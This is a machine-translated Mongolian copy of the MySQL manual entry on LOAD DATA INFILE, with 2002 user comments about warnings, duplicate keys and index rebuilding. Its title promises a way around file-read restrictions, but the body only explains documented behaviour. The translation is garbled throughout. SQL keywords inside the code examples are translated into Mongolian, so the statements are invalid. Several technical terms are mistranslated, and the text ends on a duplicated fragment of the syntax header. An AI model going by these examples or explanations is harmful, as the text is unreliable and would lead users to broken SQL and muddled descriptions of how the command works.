MySQL лавлах гарын авлага. MySQL-д файл унших хязгаарлалтыг алгасах нь PHP болон MySQL хоорондын харилцан үйлчлэл

"file_name.txt" INFILE ӨГӨГДЛИЙГ ХҮСНЭГТ ДЭЭР АЧААРАЙ tbl_name [ ""] ] [(col_name,...)]

LOAD DATA INFILE команд нь текст файлаас мөрүүдийг уншиж хүснэгтэд маш өндөр хурдтайгаар оруулдаг. Хэрэв LOCAL түлхүүр үг заасан бол файлыг үйлчлүүлэгчийн хостоос уншина. Хэрэв LOCAL гэж заагаагүй бол файл сервер дээр байрлах ёстой. (LOCAL сонголтыг MySQL 3.22.6 болон түүнээс хойшхи хувилбаруудад ашиглах боломжтой.)

Хэрэв унших шаардлагатай текст файлууд сервер дээр байгаа бол аюулгүй байдлын үүднээс эдгээр файлууд нь мэдээллийн сангийн лавлах хэсэгт байрлах эсвэл бүх хэрэглэгчид унших боломжтой байх ёстой. Нэмж дурдахад, LOAD DATA INFILE командыг серверийн файлууд дээр ашиглахын тулд та серверийн хост дээр FILE эрхтэй байх ёстой. 4.2.7 MySQL-ээс олгосон эрхүүдийг үзнэ үү.

MySQL 3.23.49 болон MySQL 4.0.2 дээр mysqld дэмоныг --local-infile=0-ээр эхлүүлсэн эсвэл үйлчлүүлэгч LOCAL идэвхжээгүй бол LOCAL команд ажиллахгүй. 4.2.4 АЧААЛАХ ӨГӨГДӨЛ ОРОН НУТГИЙН командтай холбоотой аюулгүй байдлын талаар анхаарах зүйлс хэсгийг үзнэ үү.

Хэрэв LOW_PRIORITY түлхүүр үгийг зааж өгсөн бол энэ LOAD DATA командын гүйцэтгэл бусад үйлчлүүлэгч хүснэгтийг уншиж дуустал хойшлогдох болно.

Хэрэв та MyISAM хүснэгтүүдтэй ажиллахдаа CONCURRENT түлхүүр үгийг зааж өгвөл LOAD DATA команд ажиллаж байх үед бусад хэлхээнүүд хүснэгтээс өгөгдлийг татаж авах боломжтой. Энэ функцийг ашиглах нь хүснэгтийг нэгэн зэрэг ашиглаагүй байсан ч LOAD DATA гүйцэтгэлд бага зэрэг нөлөөлнө.

LOCAL сонголтыг ашиглах үед файлын агуулга нь үйлчлүүлэгчийн хостоос сервер рүү шилжих ёстой тул серверт файл руу шууд хандах боломжийг олгохоос гүйцэтгэл нь арай удаан байж болно. Нөгөөтэйгүүр, энэ тохиолдолд дотоод файлуудыг ачаалахад FILE эрх шаардлагагүй болно.

MySQL-ийн 3.23.24-с өмнөх хувилбаруудыг ашиглах үед LOAD DATA INFILE командыг FIFO-оос унших боломжгүй. Хэрэв та FIFO-с (жишээ нь gunzip stdout) унших шаардлагатай бол LOAD DATA LOCAL INFILE-г ашиглах хэрэгтэй.

Та мөн mysqlimport хэрэгслийг ашиглан өгөгдлийн файлуудыг ачаалж болно. Энэ хэрэгсэл нь LOAD DATA INFILE командуудыг сервер рүү илгээж файлуудыг татаж авдаг. --local сонголт нь mysqlimport-ыг үйлчлүүлэгчийн хостоос өгөгдлийн файлуудыг уншихад хүргэдэг. Хэрэв үйлчлүүлэгч болон сервер хоёулаа өгөгдөл шахах протоколыг дэмждэг бол удаан сүлжээн дээр илүү сайн гүйцэтгэлтэй байхын тулд та --compress сонголтыг зааж өгч болно.

Файлууд сервер дээр байрлах тохиолдолд сүүлийнх нь дараах дүрмийн дагуу ажилладаг.

  • Хэрэв файлын үнэмлэхүй (бүрэн) замыг зааж өгсөн бол сервер энэ замыг өөрчлөхгүйгээр ашигладаг.
  • Хэрэв нэг буюу хэд хэдэн эхлэлийн лавлахыг зааж өгсөн файлд хүрэх харьцангуй замыг зааж өгсөн бол файлыг серверийн өгөгдлийн лавлах (datadir) дахь заасан сангуудтай харьцуулан хайх болно.
  • Хэрэв файлын замыг эхлүүлэх сангуудыг заагаагүй бол сервер энэ файлыг ашиглаж буй өгөгдлийн сангийн лавлахаас хайдаг.

Үүнээс үзэхэд `./myfile.txt" гэж заасан файлыг серверийн өгөгдлийн лавлахаас уншдаг бол "myfile.txt" гэж заасан файлыг ашиглаж буй өгөгдлийн сангийн лавлахаас уншдаг. Жишээлбэл, дараах LOAD DATA команд нь db1-ийн өгөгдлийн сангийн лавлах дахь data.txt файлыг уншдаг, учир нь db1 нь одоогийн өгөгдлийн сан учраас тус тушаал нь файлыг db2 өгөгдлийн сангийн хүснэгтэд ачаалахыг тодорхой зааж өгсөн байдаг:

Mysql> db1-ийг ашиглах; mysql> DATA INFILE "data.txt"-г TABLE-Д АЧААХ db2.my_table;

REPLACE болон IGNORE түлхүүр үгс нь ижил өвөрмөц түлхүүр утга бүхий одоо байгаа бичлэгүүдийн давхардсан оролтын бичлэгүүдийн боловсруулалтыг хянадаг. Хэрэв та REPLACE-г зааж өгвөл шинэ мөрүүд байгаа мөрүүдийг ижил өвөрмөц түлхүүрээр солино. Хэрэв та IGNORE-г зааж өгвөл одоо байгаа түлхүүртэй ижил өвөрмөц түлхүүртэй оролтын мөр алгасах болно. Хэрэв параметрүүдийн аль нь ч тодорхойлогдоогүй бол давхардсан түлхүүрийн утга илэрсэн тохиолдолд алдаа гарч, текст файлын үлдсэн хэсгийг үл тоомсорлодог.

Хэрэв өгөгдлийг LOCAL түлхүүр үг ашиглан локал файлаас ачаалвал сервер энэ үйлдлийн дундуур өгөгдөл дамжуулахыг зогсоох боломжгүй тул тушаалын өгөгдмөл гүйцэтгэл нь IGNORE гэж заасантай ижил байна.

LOAD DATA INFILE-г хоосон MyISAM хүснэгтүүд дээр ашиглах үед бүх өвөрмөц бус индексүүд нь тусдаа багц хэлбэрээр үүсгэгддэг (REPAIR шиг). Энэ нь ихэвчлэн олон тооны индекс байгаа үед LOAD DATA INFILE-г ихээхэн хурдасгадаг.

LOAD DATA INFILE команд нь SELECT ... INTO OUTFILE-д нэмэлт юм. 6.4.1 SELECT мэдэгдлийн синтакс хэсгийг үзнэ үү. Өгөгдлийн сангаас файл руу өгөгдөл бичихийн тулд SELECT ... INTO OUTFILE командыг ашиглана уу. Өгөгдлийг өгөгдлийн сан руу буцаан уншихын тулд LOAD DATA INFILE програмыг ашиглана. FIELDS болон LINES-ийн синтакс нь хоёр командын хувьд ижил байна. Хоёр хэсэг хоёулаа сонголттой боловч хэрэв хоёуланг нь зааж өгсөн бол FIELDS нь LINES-ийн өмнө байх ёстой.

Хэрэв FIELDS-г зааж өгсөн бол түүний дэд илэрхийлэл бүр (ТҮГСГЭЭД БАЙНА, ХАМРАГДСАН, ЗУРГАЛСАН) бас сонголттой боловч ядаж нэгийг нь зааж өгөх ёстой.

Хэрэв FIELDS мэдэгдэл тодорхойлогдоогүй бол түүний параметрүүд нь дараах утгуудад өгөгдмөл болно.

"\t"-ээр хаагдсан "" "\\"-аар гацсан талбарууд

Хэрэв LINES мэдэгдэл тодорхойлогдоогүй бол өгөгдмөлөөр дараах бүтэцтэй байна.

"\n"-ээр дуусгавар болсон мөрүүд

Өөрөөр хэлбэл, өгөгдмөл тохиргоотой бол оролтын өгөгдлийг унших үед LOAD DATA INFILE команд дараах байдлаар ажиллана.

  • Мөрийн төгсгөлийг `\n" тэмдэгтээр ол
  • Таб тэмдэгтүүд дээр үндэслэн мөрүүдийг талбар болгон хуваах.
  • Талбаруудыг ишлэлийн тэмдэгт дотор оруулахыг бүү хүлээ.
  • Талбарын утгын нэг хэсэг болох "\"-ийн өмнө гарч буй таб, шинэ мөр эсвэл "\" тэмдэгтүүдийг орчуулах.

Эсрэгээр, гаралтыг бичих үндсэн тохиргоонууд ажиллаж байгаа бол SELECT ... INTO OUTFILE команд дараах байдлаар ажиллана.

  • Талбаруудын хооронд таб тэмдэгт оруулах.
  • Хашилтын тэмдэгтийн талбаруудыг бүү оруул. Талбарын утгуудын дунд гарч ирэх таб, шинэ мөр, `\" тэмдэгтүүдээс зайлсхийхийн тулд `\" тэмдэгтүүдийг ашиглана уу.
  • Бичлэг бүрийн төгсгөлд шинэ мөр оруулах.

FIELDS ESCAPED BY `\" оруулга нь нэг урвуу налуу зураасаар унших ёстой утгын хувьд хоёр урвуу зураас шаарддаг болохыг анхаарна уу.

Файлын эхэнд байгаа баганын нэрийн толгой хэсгийг үл тоомсорлохын тулд дугаарын МӨРӨӨГ ҮГҮЙЛЭХ сонголтыг ашиглаж болно.

Mysql> DATA INFILE "/tmp/file_name"-г ХҮСНЭГТ ДЭЭР АЧАХ тест 1 МӨРИЙГ ҮЗҮҮЛЭХ;

SELECT ... INTO OUTFILE-г LOAD DATA INFILE-тэй хамт өгөгдлийн сангаас файл руу уншиж, дараа нь файлаас өгөгдлийн сан руу буцаан уншихдаа хоёр командын талбар болон мөр боловсруулах сонголтууд ижил байх ёстой. Үгүй бол LOAD DATA INFILE нь энэ файлын агуулгыг зөв тайлбарлах боломжгүй болно. SELECT ... INTO OUTFILE командыг талбаруудыг таслалаар тусгаарласан файлд бичихэд ашигладаг гэж бодъё:

Mysql> СОНГОХ * OUTFILE "data.txt" ТАЛБАРЫГ ","-ээр дуусгавар болгох ...;

Mysql> ӨГӨГДЛИЙН INFILE "data.txt"-г ","-ээр ТӨГСГӨЛСӨН ХҮСНЭГТИЙН хүснэгт2 ТАЛБАЙД АЧААРАЙ;

Mysql> ӨГӨГДЛИЙН INFILE "data.txt"-г "\t"-ээр ТӨГСГӨЛСӨН ХҮСНЭГТ хүснэгт 2 ТАЛБАЙД АЧААРАЙ;

Хэрэв оролтын мөр бүрийг тусдаа талбар болгон тайлбарлавал ижил төстэй үр дүн гарах болно.

LOAD DATA INFILE командыг мөн гадаад эх сурвалжаас хүлээн авсан файлуудыг уншихад ашиглаж болно. Жишээлбэл, dBASE мэдээллийн сангийн форматын файлын талбаруудыг таслалаар тусгаарлаж, давхар хашилтанд оруулна. Хэрэв энэ файлын мөрүүд шинэ мөрөөр төгссөн бол та талбар болон мөрүүдийг зохицуулах тохиргооны сонголтуудыг харуулсан файлыг бичихийн тулд дараах тушаалыг ашиглаж болно.

Mysql> "data.txt" ӨГӨГДЛИЙН INFILE-Г ХҮСНЭГТ ДЭЭР АЧААРАЙ tbl_name ","-ээр ТӨГСГӨСГҮЙ """ МӨРӨӨ "\n"-ээр ТӨГСГӨЛСӨН МӨРӨӨ ХАСАХ;

Талбарууд болон мөрүүдийг зохицуулдаг аль ч сонголт нь хоосон мөрийг ("") зааж өгч болно. Хэрэв мөр хоосон биш бол FIELDS CLOSED BY болон FELDS ESCAPED BY сонголтуудын утгууд нэг тэмдэгт агуулсан байх ёстой. Опционы утгууд нь нэгээс олон тэмдэгт агуулж болно. Жишээлбэл, `` зөөвөрлөх буцах шугамын тэжээл'' хосоор төгссөн мөрүүдийг бичихийн тулд (MS DOS эсвэл Windows текст файлууд шиг) дараах илэрхийллийг зааж өгнө: "\r\n"-ээр ТӨГСГӨЛСӨН МӨРӨӨ.

CREATE TABLE онигоо (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, хошигнол TEXT NOT NULL); ӨГӨГДЛИЙН INFILE "/tmp/jokes.txt"-г "" ТӨГСГӨЛСӨН ТАЛБАРЫГ ХҮСНЭГТИЙН онигоонд АЧАХ; "\n%%\n"-ээр дуусгавар болсон мөрүүд (онигоо);

FIELDS ENCLOSED BY сонголт нь заасан тэмдэгтүүдийн дотор байгаа талбаруудыг хянадаг. Хэрэв OPTIONALY параметрийг орхигдуулсан бол гаралтад (SELECT ... INTO OUTFILE) бүх талбарууд ENCLOSED BY -д заасан тэмдэгтүүдээр хаагдах болно. Ийм гаралтын жишээг (талбар тусгаарлагч болгон таслал ашиглан) доор үзүүлэв.

"1","a string","100.20" "2"," , таслал агуулсан мөр","102.20" "3","\" ишлэл агуулсан мөр","102.20" "4"," \", ишлэл, таслал, "102.20" агуулсан мөр

Хэрэв OPTIONALY параметрийг зааж өгсөн бол зөвхөн CHAR болон VARCHAR төрлийн талбаруудыг ENCLOSED BY хэсэгт заасан тэмдэгтээр тодруулна:

1,"a string",100.20 2,"a string a , таслал",102.20 3,"a string with a \" ишлэл",102.20 4,"a string with \", ишлэл, таслал",102.20

Талбайн утга доторх ENCLOSED BY тэмдэгтүүдийг ESCAPED BY-ийн угтвараар угтвар болгосноор гарч ирэхийг анхаарна уу. Хэрэв ESCAPED BY утга хоосон байвал LOAD DATA INFILE мэдэгдлийг зөв унших боломжгүй гаралтыг үүсгэх боломжтойг анхаарна уу. Жишээлбэл, хэрэв зугтах тэмдэгт нь хоосон мөр бол дээр үзүүлсэн гаралт нь доор үзүүлсэн шиг байх болно. Дөрөв дэх мөрөнд байгаа хоёр дахь талбарт хашилтын дараах таслал байгаа бөгөөд энэ талбарыг (алдаатай) зааглаж байгааг анхаарна уу:

1, "a string", 100.20 2, "a , таслал агуулсан тэмдэгт мөр", 102.20 3, " ишлэл агуулсан мөр", 102.20 4 ", ишлэл, таслал агуулсан мөр", 102.20

Оролтын хувьд ENCLOSED BY тэмдэгт, хэрэв байгаа бол талбарын утгын хоёр төгсгөлөөс хасагдана. (ЗААВАЛ БОЛГОГЧ параметрийг заасан эсэхээс үл хамааран энэ нь үнэн; оролтын өгөгдөлтэй ажиллах үед OPTIONALY параметрийг харгалзахгүй.) Хэрэв өмнө нь ESCAPED BY тэмдэгт байгаа ENCLOSED BY тэмдэгттэй тулгарвал үүнийг нэг хэсэг гэж тайлбарлана. талбайн одоогийн утга. Нэмж хэлэхэд талбар дотор байгаа давхар ENCLOSED BY тэмдэгтүүд нь тухайн талбар өөрөө тухайн тэмдэгтээр эхэлсэн бол дан ENCLOSED BY тэмдэгт гэж ойлгогдоно. Жишээ нь, хэрэв """ гэж заасан бол хашилтыг дараах байдлаар боловсруулна.

""ТОМ"" дарга" -> "ТОМ" дарга "ТОМ" дарга -> "ТОМ" дарга -> "ТОМ" дарга -> "ТОМ" дарга

FIELDS ESCAPED BY сонголтыг бичих эсвэл уншихыг удирдахад ашигладаг тусгай дүрүүд. Хэрэв FIELDS ESCAPED BY тэмдэгт хоосон биш бол гаралт дээрх дараах тэмдэгтүүдийн угтвар болгон ашигладаг.

  • Тэмдэгтээр зугтсан талбайнууд
  • Тэмдэгтээр хаагдсан талбайнууд
  • Төгсгөлтэй талбаруудын эхний тэмдэгт ба утгуудаар төгсгөгдсөн мөрүүд
  • ASCII тэмдэгт 0 (үнэндээ ASCII `0" нь зугтах тэмдэгтийн дараа бичигдсэн бөгөөд тэг утгатай байт биш)

Хэрэв FIELDS ESCAPED BY тэмдэгт хоосон байвал ямар ч тэмдэгт гарахгүй. Үнэн хэрэгтээ хоосон зайлах тэмдэгтийг зааж өгөх нь утгагүй юм, ялангуяа боловсруулж буй өгөгдлийн талбарын утгууд дээрх жагсаалтын аль нэг тэмдэгтийг агуулж байвал.

Хэрэв FIELDS ESCAPED BY тэмдэгт хоосон биш бол оролтын өгөгдлийн хувьд ийм тэмдэгтийн тохиолдлыг арилгаж, ийм үзэгдлийн дараах тэмдэгтийг талбарын утгын нэг хэсэг болгон шууд утгаараа авна. Үл хамаарах зүйл нь `0" эсвэл `N" (жишээ нь, escape тэмдэгт нь `\" бол \0 эсвэл \N" гэсэн утгатай). Эдгээр дарааллыг ASCII 0 (цэгц утгын байт) болон NULL гэж тайлбарладаг. NULL утгыг зохицуулах дүрмийг үзнэ үү. доор .

Илүү ихийг авахын тулд бүрэн мэдээлэл`\" зугтах тэмдэгтийн синтаксийг 6.1.1 Literals: Trepresenting Strings and Numbers хэсгээс үзнэ үү.

Зарим тохиолдолд талбар болон мөр боловсруулах сонголтууд харилцан үйлчилдэг:

  • Хэрэв Төгсгөлтэй мөрүүд нь хоосон мөр, FIELDS TERMINATED BY нь хоосон тэмдэгтүүд биш бол мөрүүд мөн FIELDS TERMINATED BY гэсэн тэмдэгтүүдээр төгсдөг.
  • Төгсгөлтэй ТАЛБАЙ болон ХАСАГДСАН ТАЛБАЙ хоёулаа хоосон ("") бол тогтмол мөрт форматыг (хязгаарлагч байхгүй) ашиглана. Тогтмол шугамын формат нь талбаруудын хооронд ямар ч тусгаарлагчийг өгдөггүй. Харин баганын утгыг унших, бичих үед баганын ``гаралт'' өргөнийг ашиглана. Жишээлбэл, хэрэв баганыг INT(7) гэж зарласан бол тухайн баганын утгыг 7 тэмдэгтийн өргөн талбаруудыг ашиглан бичнэ. Энэ баганын оролтын утгыг 7 тэмдэгтийг унших замаар олж авна. Тогтмол мөр формат нь NULL утгуудыг зохицуулахад нөлөөлдөг (доороос үзнэ үү). Олон байт тэмдэгтийн багцыг ашиглах үед тогтмол хэмжээтэй формат ажиллахгүй гэдгийг анхаарна уу.

Ашигласан FIELDS болон LINES сонголтуудаас хамааран NULL утгыг өөр өөрөөр авч үзэх болно:

  • Өгөгдмөл FIELDS болон LINES утгуудын хувьд NULL-г гаралтын хувьд \N гэж бичиж, оролтын хувьд \N-г NULL гэж уншина (ESCAPED BY тэмдэгтийг `\" гэж үзвэл).
  • Хэрэв FIELDS ENCLOSED BY хоосон биш бол утга нь NULL үсэг бүхий талбарыг NULL утга болгон уншина (FIELDS ENCLOSED BY тэмдэгтүүдийн дунд орсон NULL үгийн эсрэг, "NULL" мөр гэж уншина).
  • Хэрэв FIELDS ESCAPED BY хоосон байвал NULL нь NULL гэсэн үгээр бичигдэнэ.
  • Тогтмол мөрт форматын хувьд (энэ нь тодорхойлогчоор ТҮГСГЭЭД БАЙГАА ТАЛБАЙ болон ХЭРЭГЛЭГДСЭН ТАЛБАЙ хоёулаа хоосон байвал үүсдэг) ​​NULL нь хоосон мөр хэлбэрээр бичигдэнэ. Энэ нь өгөгдсөн хүснэгтэн дэх NULL утга болон хоосон мөрийг хоёуланг нь хоосон мөр хэлбэрээр бичдэг тул файлд бичихэд ялгах боломжгүй болгодог гэдгийг анхаарна уу. Хэрэв та файлыг дахин унших үед эдгээр утгууд өөр байхыг хүсвэл тогтмол шугамын форматыг ашиглах ёсгүй.

LOAD DATA INFILE мэдэгдлээр дэмжигдээгүй зарим тохиолдлууд:

  • Тогтмол хэмжээтэй мөрүүд (ТҮГСГЭЭД БАЙГАА ТАЛБАЙ болон ХАСАЛТАЙ ТАЛБАЙ хоёулаа хоосон) болон BLOB эсвэл TEXT баганууд.
  • Хэрэв зааглагч нь өөртэй ижил буюу угтвар гэж заасан бол LOAD DATA INFILE нь оролтыг зөв тайлбарлах боломжгүй болно. Жишээ нь, дараах FIELDS мэдэгдэл нь асуудал үүсгэж болзошгүй: """ ХАСАЛСАН """ ТАЛААР ТҮГСГЭЭД БАЙНА.
  • Хэрэв FIELDS ESCAPED BY сонголт хоосон байвал талбарын утгад FIELDS BY эсвэл Төгсгөлтэй МӨРӨӨ тэмдэгт гарч ирсний дараа FIELDS TERMINATED BY тэмдэгт LOAD DATA INFILE командыг хугацаанаас нь өмнө уншиж дуусгахад хүргэдэг. Энэ нь LOAD DATA INFILE нь талбар эсвэл мөр хаана дуусахыг зөв тодорхойлж чадахгүй байгаатай холбоотой юм.

Дараах жишээ нь хувийн мэдээллийн хүснэгтийн бүх баганыг ачаална.

Mysql> DATA INFILE "persondata.txt"-г TABLE хүний ​​өгөгдөлд АЧААХ;

Талбаруудын жагсаалтыг заагаагүй тул LOAD DATA INFILE команд нь хүснэгтийн багана бүрийг оруулах мөрүүдийг дүүргэхийг хүлээдэг. Энэ нь өгөгдмөл FIELDS болон LINES утгуудыг ашигладаг.

Хэрэв та хүснэгтийн зөвхөн зарим баганыг ачаалахыг хүсвэл баганын жагсаалтыг зааж өгөх ёстой.

Mysql> DATA INFILE "persondata.txt"-г TABLE хүний ​​өгөгдөлд (col1,col2,...);

Оролтын файл дахь талбаруудын дараалал нь энэ хүснэгтийн баганын дарааллаас ялгаатай тохиолдолд талбаруудын жагсаалтыг мөн зааж өгөх ёстой. Үгүй бол MySQL нь оролтын талбар болон хүснэгтийн баганатай таарч чадахгүй.

Хэрэв мөр хэт цөөн талбартай бол оролтын файлд талбаргүй багануудыг үндсэн утгаараа тохируулна. Өгөгдмөл утгуудын хуваарилалтыг 6.5.3 ХҮСНЭГТ ҮЗҮҮЛЭХ Үүсгэн байгуулалтын синтакс хэсэгт тайлбарласан болно.

Хоосон талбарын утгыг утгагүйгээс өөрөөр тайлбарладаг.

  • Мөрний төрлүүдийн хувьд баганыг хоосон мөр болгон тохируулна.
  • Тоон төрлүүдийн хувьд баганыг 0 гэж тохируулсан.
  • Огноо, цагийн төрлүүдийн хувьд баганыг тухайн төрлийн харгалзах утга болох `` null '' гэж тохируулсан. 6.2.2 Огноо ба цагийн мэдээллийн төрлүүд хэсгийг үзнэ үү.

Эдгээр нь INSERT эсвэл UPDATE командын мөр, тоо, огноо/цаг багануудад хоосон мөрийг тодорхой зааж өгсний үр дүнд баганад дуусах ижил утгатай болохыг анхаарна уу.

TIMESTAMP төрлийн баганыг зөвхөн тухайн баганыг NULL буюу (зөвхөн эхний TIMESTAMP баганад), хэрэв ийм жагсаалт заасан бол TIMESTAMP багана талбарын жагсаалтаас гадуур байгаа бол зөвхөн одоогийн огноо эсвэл цагт тохируулна.

Хэрэв оролтын мөрөнд хэт олон талбар байгаа бол нэмэлт талбаруудыг үл тоомсорлож, анхааруулгын тоо нэмэгдэх болно.

LOAD DATA INFILE команд нь бүх оролтыг мөр болгон тайлбарладаг тул та INSERT командтай адил ENUM эсвэл SET баганад тоон утгыг зааж өгөх боломжгүй. Бүх ENUM болон SET утгуудыг мөр болгон зааж өгөх ёстой!

C API ашиглах үед асуулгын төгсгөлд байрлах LOAD DATA INFILE гэсэн mysql_info() API функцийг дуудаж асуулгын мэдээллийг авах боломжтой. Энэ хэргийн мэдээллийн шугамын форматыг доор харуулав.

Бичлэг: 1 Устгасан: 0 Алгассан: 0 Анхааруулга: 0

Анхааруулга нь INSERT командын тусламжтайгаар утгыг бичихтэй адил нөхцөл байдалд (INSERT мэдэгдлийн синтакс хэсгийг үзнэ үү) өгөгддөг бөгөөд LOAD DATA INFILE команд нь оролтын мөрөнд хэт цөөн эсвэл хэт олон талбартай үед нэмэлт анхааруулга үүсгэдэг. Анхааруулга нь хаана ч хадгалагдахгүй; Анхааруулгын тоог зөвхөн заасан үйлдлүүд хэвийн хийгдсэн эсэхийг шалгахад ашиглаж болно. Хэрэв та чухам юунаас сэрэмжлүүлэг гарсныг мэдэхийг хүсвэл өөр файл дээр SELECT ... INTO OUTFILE-г ажиллуулж, үр дүнг анхны оролтын файлтай харьцуулах нь тухайн мэдээллийг авах цорын ганц арга зам юм.

Хэрэв та хоолойноос уншихын тулд LOAD DATA хийх шаардлагатай бол дараах заль мэхийг ашиглаж болно.

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "ХҮСНЭГТ ДОТООД ӨГӨГДЛИЙН INFILE "x"-г АТААХ" x

3.23.25-аас өмнөх MySQL хувилбарыг ашиглах үед дээрх үйлдлийг зөвхөн LOAD DATA LOCAL INFILE ашиглан хийж болно.

Илүү ихийг авахын тулд дэлгэрэнгүй мэдээлэл LOAD DATA INFILE-тэй харьцуулахад INSERT-ийн үр нөлөө болон LOAD DATA INFILE-ийн хурдны талаарх мэдээллийг INSERT асуулгын хурд 5.2.9 хэсгээс үзнэ үү.

Хэрэглэгчийн сэтгэгдэл

Жэйсон Титус нийтэлсэн[Устгах] [Засварлах]

"Сануулгууд нь хаана ч хадгалагдаагүй, анхааруулгын тоог зөвхөн анхааруулах хэлбэрээр ашиглах боломжтой
бүх зүйл сайн болсон эсэхийг харуулах"

Чи намайг тоглож байгаа байх. Энэ нь ямар нэгэн DBA шийтгэл болж хийгдсэн үү? өөрөөр хэлбэл - Бид
Асуудал юу байсныг МЭДЭГДЭХГҮЙ, гэхдээ та гаралтын файлыг бүтээж, шалгахад л хангалттай
тэдгээрийг олохын тулд таны сая сая бичлэгүүд". MySQL эдгээрийг алдааны бүртгэлд оруулдаггүй байсан уу?
тэд хаана харьяалагддаг вэ? Үргэлжлүүлэн, үүнийг сонголт болго, гэхдээ энэ нь хийхэд хангалттай асуудал юм
Би Oracle руу буцаж шилждэг (мөн энэ нь маш их шаарддаг).

Кампбелл 2002 оны 5-р сарын 17-ны Баасан гарагт @6:24 цагт нийтэлсэн[Устгах] [Засварлах]

Хоёрдугаарт. (!) Би чамайг яаж байгааг ойлгохгүй байна
тэр өгүүлбэрийг шулуун царайгаар бич.

2002 оны 5-р сарын 17-ны Баасан гарагт, @6:24 цагт Жонатон Пэдфилд нийтэлсэн[Устгах] [Засварлах]

Мөн аль мөр алгассан тухай мэдээлэл алга
нь өгөгдсөн.

2002 оны 5-р сарын 17-ны Баасан гарагт, @6:24 цагт нийтэлсэн[Устгах] [Засварлах]

Энэ функцийг илгээх үед маш хэрэгтэй
Вэб хуудаснаас INSERT. Хэрэв хэрэглэгч цохивол
формын өгөгдлийг сэргээж, дахин байршуулах нь a
ижил үндсэн түлхүүр өгөгдлийн дараагийн INSERT,
гэнэт, програм эвдэрнэ. Ингэснээр хэрэглэгч боломжтой
Тэдний царай цэнхэр болтол F5 дарна уу
REPLACE мэдэгдлийг зөрчихгүй.

[Устгах] [Засварлах]

Надад c:\mysql\data дотор MyDB хавтас байна
Би тэнд Data.txt болон гүйцэтгэх үед байрлуулна
ӨГӨГДЛИЙН локал INFILE "Data.txt"-г ХҮСНЭГТТЭЙ АЧААРАЙ
MyTable-д: Тушаал амжилттай хэрэгжлээ
гэхдээ MyTable-д NO утгыг нэмээгүй.
Би W2K-ээс доогуур байна

2002 оны 5-р сарын 17-ны Баасан гарагт @6:24 цагт ван хуф Филип нийтэлсэн.[Устгах] [Засварлах]

Би өөрийн мэдээллийн санг өөр мэдээллийн сантай синхрончлохыг хүсч байна
үе үе мэдээллийн сан. Энэ нь би гэсэн үг
REPLACE зүйлийг ашиглах хэрэгтэй болно. Гэхдээ яах вэ
шинэ үед байхгүй байгаа бичлэгүүд
мэдээллийн сан. Тэдгээрийг MySQL дээр устгах уу?
Эдгээрийг автоматаар устгах арга бий юу? Эсвэл
Миний MySQL хүснэгтийг унагаж, дахин үүсгэх цорын ганц шийдэл
Би үүнийг АЧААЖ эхлэхээс өмнө. Би crontab ашиглаж байна
Энэ үйлдлийн скриптүүд учраас хүний ​​харилцан үйлчлэл байхгүй
Эдгээр үйл ажиллагааны явцад боломжтой.

2002 оны 5-р сарын 17-ны Баасан гарагт, @6:24 цагт нийтэлсэн[Устгах] [Засварлах]

Баримт бичиг нь юу болох нь тодорхойгүй байна
Энэ талбарт "өвөрмөц" түлхүүр/индексийг бүрдүүлдэг. Энэ
"оруулах" гэж буцаасан боловч оруулахгүй
ийм хязгаарлалттай. Би тэр анхдагч зүйлийг олсон
Түлхүүрүүд нь хангалттай өвөрмөц боловч би нэмэх шаардлагатай болсон
Миний хүсээгүй анхан шатны сонгууль. Магадгүй би
ямар нэг зүйл дутуу байна....

2002 оны 5-р сарын 17-ны Баасан гарагт, @6:24 цагт нийтэлсэн[Устгах] [Засварлах]

Байгаа үед сэрэмжлүүлэг авах нь маш их бухимдалтай байдаг
MySQL өгөгдлийн сан руу өгөгдөл импортлох ба болохгүй
анхааруулгатай холбоотой аливаа мэдээлэлд хандах боломжтой.
MySQL үнэхээр ийм функц нэмэх шаардлагатай байна
сэрэмжлүүлэг нь зүгээр л биш юуны ТУХАЙ болохыг мэдээл
анхааруулга мэдээлэх. Хамгийн тохиромжтой нь тухай мэдээлэл
анхааруулгыг нэн даруй өгөх ёстой. At
хамгийн багадаа ямар нэг алдааны бүртгэл байх ёстой
хэрэглэгч хандах боломжтойгоор бүтээгдсэн.

2002 оны 5-р сарын 17-ны Баасан гарагт, @6:24 цагт нийтэлсэн[Устгах] [Засварлах]

"F5 хүртэл тэдний царай цэнхэр болтол" сэдвээр...

Үүнийг програмд ​​​​шийдвэрлэх ёстой. Энэ
Хэрэглэгчид "Та" гэж хэлэхэд гэмгүй нь лавтай
үүнийг аль хэдийн оруулсан. Сэргээхээ зогсооно уу."

Үнэн хэрэгтээ хэт тэвчээргүй төгсгөлийн тооноос болж
lusers тэнд, энэ нь ялангуяа юм шиг санагдаж байна
сайхан санаа.

Ларри Ирвин 2002 оны 8-р сарын 20-ны Мягмар гарагт, @11:50 цагт нийтэлсэн.[Устгах] [Засварлах]

Нэмэлт сонголттой байх нь маш их тустай байх болно
Ачаалах явцад "ХЯЗГААРЛАЛТИЙГ ТОГТОХГҮЙ"
үйл явц.

2002 оны 9-р сарын 5-ны Пүрэв гарагт, @1:34 цагт нийтэлсэн[Устгах] [Засварлах]

Хоосон MyISAM ширээн дээр "бүх
өвөрмөц бус индексүүд нь тусдаа багцад үүсгэгддэг"
Учир нь ашигласан механизм нь "засварын
keycache" гэж байгаа бөгөөд хэрэв танд олон байвал маш удаан ажиллах боломжтой
индексүүд. Үүний тулд механизмыг үнэхээр ашиглах хэрэгтэй
Түлхүүр үүсгэхийг зогсоож, дараа нь засварыг хийнэ үү
myisamchk-д тайлбарласны дагуу "засварыг эрэмбэлэх"-ийг ашиглана
хэсэг 5.2.9 (хэрэв чи чаднаажилдаа оруулаарай :-()

2002 оны 10-р сарын 9-ний Лхагва гарагт, @12:43 цагт нийтэлсэн[

Өгөгдлийг INFILE LOAD DATA синтакс

ӨГӨГДЛИЙН ИНФАЙЛ АЧААХ " файлын нэр. txt" ХҮСНЭГТ ОРУУЛАХ хүснэгтийн нэр
[ХААССАН "]
]
]
[(баганын_нэр,...)]
LOAD DATA INFILE команд нь текст файлаас мөрүүдийг уншиж, хүснэгтэд маш өндөр хурдтайгаар ачаалдаг.
